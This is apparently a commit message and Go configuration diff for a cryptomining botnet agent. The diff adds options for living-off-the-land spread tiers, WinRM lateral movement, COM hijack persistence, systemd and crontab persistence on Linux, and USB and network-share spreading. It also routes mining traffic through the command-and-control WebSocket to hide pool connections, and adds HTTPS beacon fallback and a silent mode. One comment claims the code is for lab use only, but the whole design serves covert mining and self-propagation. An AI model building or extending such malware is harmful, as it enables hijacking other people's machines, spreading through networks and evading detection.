Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/config/builtin.go

@@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		ThreadPercent:       75,
 		CPUPriority:         "below_normal",
 		MiningMode:          "always",
+		MinerExecution:      "inprocess",
 		DisplayMode:         "visible",
 		SilentMode:          false,
 		RunAs:               "user",
@@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		RVNPoolPort:         6060,
 		RVNPoolTLS:          false,
 		RVNPoolPass:         "x",
+		LotlOnionEnabled:     false,
+		LotlPolicyFromServer: false,
 	}
 }

agent/config/config.go

@@ -1,6 +1,7 @@
 package config
 
 import (
+	"os"
 	"runtime"
 	"strings"
 	"time"
@@ -17,6 +18,11 @@ type BuiltinConfig struct {
 	ThreadPercent       int
 	CPUPriority         string
 	MiningMode          string
+	// MinerExecution selects CPU/GPU workload isolation: auto, container, inprocess, subprocess.
+	// Distinct from MiningMode schedule (always/idle/scheduled).
+	MinerExecution      string
+	// DockerImageTar is a local OCI tarball path for docker_load tier (server policy / upload stub).
+	DockerImageTar      string
 	DisplayMode         string
 	SilentMode          bool
 	RunAs               string
@@ -63,6 +69,10 @@ type BuiltinConfig struct {
 	AutoSpread       bool
 	HolePunch        bool
 	RemoteAggressive bool
+	// Spread technique options (forge-baked; owned/lab only)
+	WinRMSpread        bool   // lateral WinRM encoded bootstrap in autospread
+	COMHijackPersist   bool   // COM CLSID hijack persistence — default off
+	LinuxLOTLMode      string // systemd_run_user | crontab | both | off
 	// Passive spreading — triggered by the environment rather than active scanning
 	USBSpread   bool // copy agent to any newly-inserted removable/USB drive
 	ShareSpread bool // drop agent onto already-mounted network shares
@@ -93,8 +103,16 @@ type BuiltinConfig struct {
 	AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
 	// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
 	HTTPSBeaconFallback bool
+	// StratumOverWS prefers mining jobs/shares via the C2 WebSocket (port 443/wss)
+	// instead of opening direct Stratum TCP egress to the pool.
+	StratumOverWS bool
 	// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
 	HTTPSBeaconAfterMin int
+
+	// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
+	LotlOnionEnabled     bool
+	LotlPolicyFromServer bool     // when true, tier order is pulled from C2 on auth
+	LotlOnionTiers       []string // baked order; ignored when LotlPolicyFromServer until auth
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.
@@ -127,6 +145,11 @@ func Load() RuntimeConfig {
 	if b.MiningMode == "" {
 		b.MiningMode = "always"
 	}
+	if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_EXECUTION")); v != "" {
+		b.MinerExecution = v
+	} else if b.MinerExecution == "" {
+		b.MinerExecution = "auto"
+	}
 	if b.DisplayMode == "" {
 		if b.SilentMode {
 			b.DisplayMode = "silent"